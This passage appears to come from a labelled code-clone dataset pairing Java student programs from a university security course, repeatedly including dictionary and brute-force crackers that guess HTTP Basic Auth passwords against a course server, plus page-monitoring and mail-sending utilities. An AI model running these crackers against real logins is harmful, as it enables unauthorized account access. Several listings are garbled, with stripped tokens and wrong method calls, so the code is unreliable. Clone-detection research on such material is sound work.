connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
220.java | 161.java | 0 | import java.io.*;
public class UnixMailing
{
private String buffer;
private String email;
public static void main (String [] args)
{
UnixMailing obj = new UnixMailing("@hotmail.");
obj.println("hehehe");
obj.sent();
}
public UnixMailing(String email)
{
this.email = email;
buffer = "";
}
public boolean sent()
{
String command = "mail "+email;
if (buffer.length() <= 0)
return false;
try
{
Process proc = (Runtime.getRuntime()).exec(command);
DataOutputStream out = new DataOutputStream(proc.getOutputStream());
out.writeBytes(buffer);
out.flush();
out.print();
proc.waitFor();
buffer = "";
return true;
}
catch(Exception e)
{
e.printStackTrace();
buffer = "";
return false;
}
}
public void print(String data)
{
buffer += data;
}
public void println(String data)
{
buffer += data+"\n";
}
public void cancel()
{
buffer = "";
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
040.java | 161.java | 0 | import java.io.*;
import java.util.*;
import java.text.*;
public class Dictionary
{
private int verbose = 0;
private int scanType = CrackingConstants.casedScan;
private boolean leftThreeCharsOnly = false;
private boolean fullScan = false;
private int passwordsTried = 0;
private int uniqueLetterSequencesTried = 0;
public static void main (String args[])
{
int tIni;
int tFinish;
DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
Dictionary pwForcer = new Dictionary();
if(0 < args.length)
{
for(int i = 0; i < args.length; i++)
{
if((args[i].indexOf("-h") > -1) || (args[i].indexOf("-H") > -1))
{
System.out.println("\n-f -F\tgenerates the three leftmost characters of the passwords as in -t/T \nbut also appends the rest of the string ( duplicate checking is with this option).");
System.out.println("\n-s -S\tonly tests lower passwords.");
System.out.println("\n-t -T\tonly the three leftmost characters of the passwords.");
System.out.println("\n-v -V\tprints the passwords as tried.\n");
return;
}
else if((args[i].indexOf("-s") > -1) || (args[i].indexOf("-S") > -1))
pwForcer.scanType = CrackingConstants.simpleScan;
else if((args[i].indexOf("-v") > -1) || (args[i].indexOf("-V") > -1))
pwForcer.verbose = CrackingConstants.verboseMode2;
else if((args[i].indexOf("-t") > -1) || (args[i].indexOf("-T") > -1))
pwForcer.leftThreeCharsOnly = true;
else if((args[i].indexOf("-f") > -1) || (args[i].indexOf("-F") > -1))
pwForcer.fullScan = true;
}
}
if (pwForcer.fullScan)
pwForcer.leftThreeCharsOnly = false;
System.out.println("\n\n********************************\n");
System.out.println("Starting dictionary run at " +
longTimestamp.format(new Date()));
if(0 < args.length)
{
String arguments = "";
for( i =0; i < args.length; i++)
arguments += args[i] + " ";
System.out.println("\nOptions: " + arguments + "\n");
}
if (pwForcer.leftThreeCharsOnly)
System.out.println("Only the first three letters of each password tried.");
if(pwForcer.scanType == CrackingConstants.simpleScan)
System.out.println("Only lower passwords tried.");
else
System.out.println("Both lower and upper passwords tried.");
System.out.println("\n********************************\n");
tIni = System.currentTimeMillis();
pwForcer.run();
tFinish = System.currentTimeMillis();
if (CrackingConstants.casedScan == pwForcer.scanType)
{
System.out.println ("\n\n" + pwForcer.passwordsTried + " capitalized passwords were tried.");
System.out.println ("That is " + pwForcer.uniqueLetterSequencesTried + " unique passwords were tried.");
}
else
{
System.out.println ("\n\n" + pwForcer.passwordsTried + " passwords were tried.\n");
System.out.println (pwForcer.uniqueLetterSequencesTried + " unique passwords were tried.");
}
System.out.println("\n********************************\n");
System.out.println("Finished dictionary run at " +
longTimestamp.format(new Date()));
System.out.println("Time taken: " + ((tFinish - tIni )/1000) + " seconds");
System.out.println("\n********************************");
}
public Dictionary()
{
}
private void run()
{
String fileName = "/usr/share/lib/dict/words";
LoginAttemptResults results = new LoginAttemptResults();
LoginAttempt login = new LoginAttempt();
CasePasswords casedPasswords = new CasePasswords(verbose);
try
{
boolean found = false;
int lineCount = 0;
String password = null;
String lastPassword = "";
BufferedReader in = new BufferedReader(new FileReader(fileName));
while((null != (password = in.readLine())) && (!found))
{
lineCount++;
password = password.trim();
if("" != password)
{
if (leftThreeCharsOnly)
{
leftIndex = -1;
midIndex = -1;
rightIndex = -1;
String tail = "";
if(3 <= password.length())
{
if (!fullScan)
if(lastPassword.equals(password.substring(0, 3).toLowerCase()))
continue;
else
lastPassword = password.substring(0, 3).toLowerCase();
char [] passwordChars = password.toCharArray();
leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length);
midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length);
rightIndex = CrackingConstants.findIndex(passwordChars[2], 0, CrackingConstants.lowerChars.length);
if ((3 < password.length() ) && (fullScan))
tail = password.substring(0, 3);
}
else if(2 == password.length())
{
if (!fullScan)
if(lastPassword.equals(password.substring(0, 2).toLowerCase()))
continue;
else
lastPassword = password.substring(0, 2).toLowerCase();
char [] passwordChars = password.toCharArray();
leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length);
midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length);
}
else if(1 == password.length())
{
if (!fullScan)
if(lastPassword.equals(password.substring(0, 1).toLowerCase()))
continue;
else
lastPassword = password.substring(0, 1).toLowerCase();
char [] passwordChars = password.toCharArray();
leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length);
}
else
{
System.out.println("Empty password from word file.");
continue;
}
if((CrackingConstants.notFound != rightIndex) && ((CrackingConstants.notFound == leftIndex) || (CrackingConstants.notFound == midIndex)))
continue;
if((CrackingConstants.notFound != midIndex) && (CrackingConstants.notFound == leftIndex))
continue;
results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried);
found = results.getSuccess();
passwordsTried = results.getPasswordsTried();
uniqueLetterSequencesTried++;
}
else
{
results = login.tryPasswords(casedPasswords.createCasedPasswords(password, scanType), passwordsTried);
found = results.getSuccess();
passwordsTried = results.getPasswordsTried();
uniqueLetterSequencesTried++;
}
}
}
in.print();
}
catch(FileNotFoundException e)
{
System.out.println("File " + fileName + " was not found was unopenable.");
}
catch(IOException e)
{
System.out.println("Error " + e);
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
073.java | 161.java | 0 |
public class Execute {
public Execute(String cmdline) {
try {
String[] cmd = {"//sh", "-c", cmdline};
Process p = Runtime.getRuntime().exec(cmd);
p.waitFor();
} catch (Exception e){}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
224.java | 161.java | 0 |
import java.io.*;
import java.text.*;
import java.util.*;
import java.net.*;
public class Dictionary extends Thread
{
private static final String USERNAME = "";
private static final String DICTIONARY_FILE = "/usr/share/lib/dict/words";
private static int NUMBER_OF_THREAD = 500;
private static Date startDate = null;
private static Date endDate = null;
private String address;
private String password;
public Dictionary(String address, String password)
{
this.address = address;
this.password = password;
}
public static void main(String[] args) throws IOException
{
if (args.length < 1)
{
System.err.println("Invalid usage!");
System.err.println("Usage: java Dictionary <url>");
System.exit(1);
}
try
{
dic(args[0], USERNAME);
}
catch(Exception e)
{
e.printStackTrace();
System.exit(1);
}
}
public static void dic(String address, String user)
{
Dictionary [] threads = new Dictionary[NUMBER_OF_THREAD];
int index = 0;
startDate = new Date();
try
{
BufferedReader buff = new BufferedReader(new FileReader(DICTIONARY_FILE));
String password = null;
while((password = buff.readLine()) != null)
{
if (threads[index] != null && threads[index].isAlive())
{
try
{
threads[index].join();
}
catch(InterruptedException e) {}
}
threads[index] = new Dictionary(address, password.trim());
threads[index].get();
index = (index++) % threads.length;
}
}
catch(Exception e)
{
e.printStackTrace();
}
}
public void run()
{
if (endDate != null)
return;
try
{
URLConnection conn = (new URL(address)).openConnection();
conn.setDoInput(true);
if (login(conn, USERNAME, password))
{
endDate = new Date();
System.out.println("Found the password: \""+password+"\"!");
SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:");
System.out.println("Process started at: "+format.format(startDate));
System.out.println("Process started at: "+format.format(endDate));
double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;
System.out.println("Time taken: "+timeTaken+" minutes");
System.exit(0);
}
else
{
System.out.println("Password: \""+password+"\" Failed!");
return;
}
}
catch(Exception e)
{
e.printStackTrace();
}
}
public static boolean login(URLConnection conn, String user, String pass)
{
try
{
String encodeAuth = " "+Base64Encoder.encode(user+":"+pass);
conn.setRequestProperty ("Authorization", encodeAuth);
conn.connect();
conn.getInputStream();
}
catch(Exception e)
{
return false;
}
return true;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
223.java | 161.java | 0 | import java.io.*;
import java.text.*;
import java.util.*;
import java.net.*;
public class WatchDog
{
private String address;
private UnixMailing email;
private int step = 0;
private String buffer = "";
public static void main(String [] args)
{
if (args.length < 2)
{
System.err.println("Invalid usage!");
System.err.println("Usage: java WatchDog <url> <email>");
System.exit(1);
}
String address = args[0];
String email = args[1];
WatchDog theProg = new WatchDog(address, email);
try
{
File currDir = new File(".");
File [] list = currDir.listFiles();
for (int i = 0; i < list.length; i++)
{
if (list[i].getName().trim().startsWith("_buffer"))
list[i].delete();
}
}
catch(Exception e) {}
while (true)
{
theProg.checkPage();
try
{
Thread.sleep();
}
catch(InterruptedException e ) {}
}
}
public WatchDog(String address, String email)
{
this.address = address;
this.email = new UnixMailing(email);
}
public void checkPage()
{
try
{
File buffFp = new File("_bufferFile.html");
Vector imgs = new Vector();
boolean getAgain = false;
if (buffFp.exists())
{
URLConnection conn = (new URL(address)).openConnection();
conn.setDoInput(true);
conn.connect();
DataInputStream inNet = new DataInputStream(conn.getInputStream());
System.out.println("Checking file "+address);
char i = '\0';
char f = '\0';
DataInputStream inFile = new DataInputStream(
new FileInputStream(buffFp));
try
{
int step = 0;
while(true)
{
i = (char)inNet.readByte();
f = (char)inFile.readByte();
if (i != f)
{
email.println(" changes in the content of the web: "+address);
System.out.println(" changes in the content of the web: "+address);
getAgain = true;
break;
}
tokenImages(i, imgs);
}
}
catch(EOFException eofe) {}
if (!getAgain)
{
try
{
i = (char)inNet.readByte();
email.println(" changes in the content of the web: "+address);
System.out.println(" changes in the content of the web: "+address);
getAgain = true;
}
catch(EOFException eofe) {}
try
{
f = (char)inFile.readByte();
email.println(" changes in the content of the web: "+address);
System.out.println(" changes in the content of the web: "+address);
getAgain = true;
}
catch(EOFException eofe) {}
}
inFile.print();
inNet.print();
}
else
getAgain = true;
if (getAgain)
{
getAgain = false;
URLConnection conn = (new URL(address)).openConnection();
conn.setDoInput(true);
conn.connect();
DataInputStream inNet = new DataInputStream(conn.getInputStream());
System.out.println("Storing file "+address);
DataOutputStream outFile = new DataOutputStream(
new FileOutputStream(buffFp));
byte i = 0;
try
{
while(true)
{
i = inNet.readByte();
outFile.writeByte(i);
tokenImages((char)i, imgs);
}
}
catch(EOFException eofe) {}
outFile.print();
inNet.print();
}
for(int index = 0; index < imgs.size(); index++)
checkImage(address, (String)imgs.get(index));
email.sent();
}
catch(Exception e)
{
e.printStackTrace();
}
}
public void tokenImages(char i, Vector imgs)
{
if (step == 1)
{
if (i == 'i' && buffer.length() <= 0 ||
i == 'm' && buffer.equals("i") ||
i == 'g' && buffer.equals("im"))
{
buffer += i;
buffer = buffer.toLowerCase();
}
else
{
if (Character.isWhitespace(i) && buffer.equals("img"))
step = 2;
else if (!Character.isWhitespace(i) || buffer.length() > 0)
step = 0;
buffer = "";
}
}
else if (step == 2)
{
if (i == 's' && buffer.length() <= 0 ||
i == 'r' && buffer.equals("s") ||
i == 'c' && buffer.equals("sr"))
{
buffer += i;
buffer = buffer.toLowerCase();
}
else
{
if (Character.isWhitespace(i) && buffer.equals("src"))
step = 3;
else if (i == '=' && buffer.equals("src"))
step = 4;
else if (i == '>')
step = 0;
buffer = "";
}
}
else if (step == 3)
{
if (i == '=')
{
step = 4;
}
else if (!Character.isWhitespace(i))
{
if(i == '>')
step = 0;
else
step = 2;
buffer = "";
}
}
else if (step == 4)
{
if (i == '\"')
{
step = 5;
buffer = "";
}
else if (!Character.isWhitespace(i))
{
if(i == '>')
{
buffer = "";
step = 0;
}
else
{
buffer = ""+i;
step = 6;
}
}
}
else if (step == 5)
{
if (i == '\"')
{
if (buffer.trim().length() > 0)
imgs.add(buffer);
buffer = "";
step = 0;
}
else
buffer += i;
}
else if (step == 6)
{
if (Character.isWhitespace(i) || i == '>')
{
if (buffer.trim().length() > 0)
imgs.add(buffer);
buffer = "";
step = 0;
}
else
buffer += i;
}
else if(i == '<')
{
step = 1;
buffer = "";
}
}
public void checkImage(String hostUrl, String imageUrl)
{
try
{
String fullURL = "";
if (imageUrl.startsWith("http"))
{
fullURL = imageUrl;
}
else if (imageUrl.startsWith("/"))
{
fullURL = "http://"+(new URL(hostUrl)).getHost()+imageUrl;
}
else
{
String path = (new URL(hostUrl)).getPath();
if (!path.endsWith("/"))
path = path.substring(0, path.lastIndexOf('/')+1);
fullURL = "http://"+(new URL(hostUrl)).getHost()+path+imageUrl;
}
File buffFp = new File("_buffer"+
(new URL(fullURL)).getPath().replaceAll("/", "_"));
Vector imgs = new Vector();
boolean getAgain = false;
if (buffFp.exists())
{
URLConnection conn = (new URL(fullURL)).openConnection();
conn.setDoInput(true);
conn.connect();
DataInputStream inNet = new DataInputStream(conn.getInputStream());
System.out.println("Checking image: "+fullURL);
byte i = 0;
byte f = 0;
DataInputStream inFile = new DataInputStream(
new FileInputStream(buffFp));
try
{
int step = 0;
while(true)
{
i = inNet.readByte();
f = inFile.readByte();
if (i != f)
{
email.println("Image "+fullURL+" has been change!");
System.out.println("Image "+fullURL+" has been change!");
getAgain = true;
break;
}
}
}
catch(EOFException eofe) {}
if (!getAgain)
{
try
{
i = inNet.readByte();
email.println("Image "+fullURL+" has been change!");
System.out.println("Image "+fullURL+" has been change!");
getAgain = true;
}
catch(EOFException eofe) {}
try
{
f = inFile.readByte();
email.println("Image "+fullURL+" has been change!");
System.out.println("Image "+fullURL+" has been change!");
getAgain = true;
}
catch(EOFException eofe) {}
}
inFile.print();
inNet.print();
}
else
getAgain = true;
if (getAgain)
{
getAgain = false;
URLConnection conn = (new URL(fullURL)).openConnection();
conn.setDoInput(true);
conn.connect();
DataInputStream inNet = new DataInputStream(conn.getInputStream());
System.out.println("Storing the image: "+fullURL);
DataOutputStream outFile = new DataOutputStream(
new FileOutputStream(buffFp));
byte i = 0;
try
{
while(true)
{
i = inNet.readByte();
outFile.writeByte(i);
}
}
catch(EOFException eofe) {}
outFile.print();
inNet.print();
}
}
catch(Exception e)
{
e.printStackTrace();
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
028.java | 161.java | 0 |
import java.io.*;
import java.net.Socket;
import java.util.*;
public class Email
{
private String hello;
private String mailFrom="";
private String mailTo="";
private String mailData="";
private String subject="";
private String content="";
private String follows="";
private String changeContent="";
private String stop="";
private String end="";
private String line="";
private InputStream is;
private BufferedReader bf;
private OutputStream os;
private PrintWriter pw;
public Email(Vector change) throws Exception
{
hello= "HELO mail.rmit.edu.";
mailFrom = "MAIL FROM: @cs.rmit.edu.";
mailTo = "RCPT : @cs.rmit.edu.";
mailData = "DATA";
subject="Subject: Some changes occur";
content=" is some changes the : http://www.cs.rmit.edu./students/";
follows="The changes as follows:";
for(int i=0;i<change.size();i++)
changeContent+=change.elementAt(i).toString()+"\r\n";
stop ="\r\n.";
end="QUIT";
}
public void send() throws Exception
{
Socket sk = new Socket("mail.cs.rmit.edu.",25);
is= sk.getInputStream();
os = sk.getOutputStream();
pw = new PrintWriter(new OutputStreamWriter(os));
pw.println(hello);
pw.println(mailFrom);
pw.println(mailTo);
pw.println(mailData);
pw.println();
pw.println(subject);
pw.println(content);
pw.println(follows);
pw.println(changeContent);
pw.println(stop);
pw.println(end);
pw.flush();
pw.get();
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
019.java | 161.java | 0 |
import java.util.*;
import java.util.Timer;
import java.util.TimerTask;
import javax.swing.*;
public class WatchDog
{
public static void main ( String args[] )
{
String input = JOptionPane.showInputDialog("Enter time range(seconds)");
if( input == null )
System.exit(0);
int range = Integer.parseInt( input );
Timer timer = new Timer();
WatchDogTask watchDogTask = new WatchDogTask();
timer.schedule( watchDogTask, new Date(), range*1000 );
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
158.java | 161.java | 1 |
import java.net.*;
import java.io.*;
public class BruteForce {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
DataInputStream dis ;
for (i=0;i<=58;i++)
{
for (j=0;j<=58;j++)
{
for (k=1;k<=58;k++)
{
if (i !=0)
{
pass = "" + (char)(k+64) + (char)(j+65) + (char)(i+64);
if ((i+64) >=91 && (i+64) <=96)
break;
if ((j+65) >=91 && (j+65) <=96)
break;
if ((k+64) >=91 && (k+64) <=96)
continue;
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff= end - start;
System.out.println("Time Taken = " + (diff/1000) + " sec" );
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
}
}
}
System.out.println(" match found");
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable retrive URL" + ioerr);
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
114.java | 161.java | 0 |
public class BruteForce {
private Thread threads[];
private String strUsername;
private String strURL;
public BruteForce(String username, String url) {
threads = new Thread[14];
strUsername = username;
strURL = url;
}
public void crackStart()
{
int iOffset, i =0;
iOffset = (52 * 52 * 52) / 14;
CrackThread tmpCrack;
for(i=0;i<14;i++) {
tmpCrack = new CrackThread();
tmpCrack.setParams(strURL, strUsername, (i * iOffset), (i * iOffset + iOffset));
threads[i] = new Thread(tmpCrack);
threads[i].print();
}
}
public static void main(String[] args) {
BruteForce bf = new BruteForce("", "http://sec-crack.cs.rmit.edu./SEC/2/");
bf.crackStart();
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
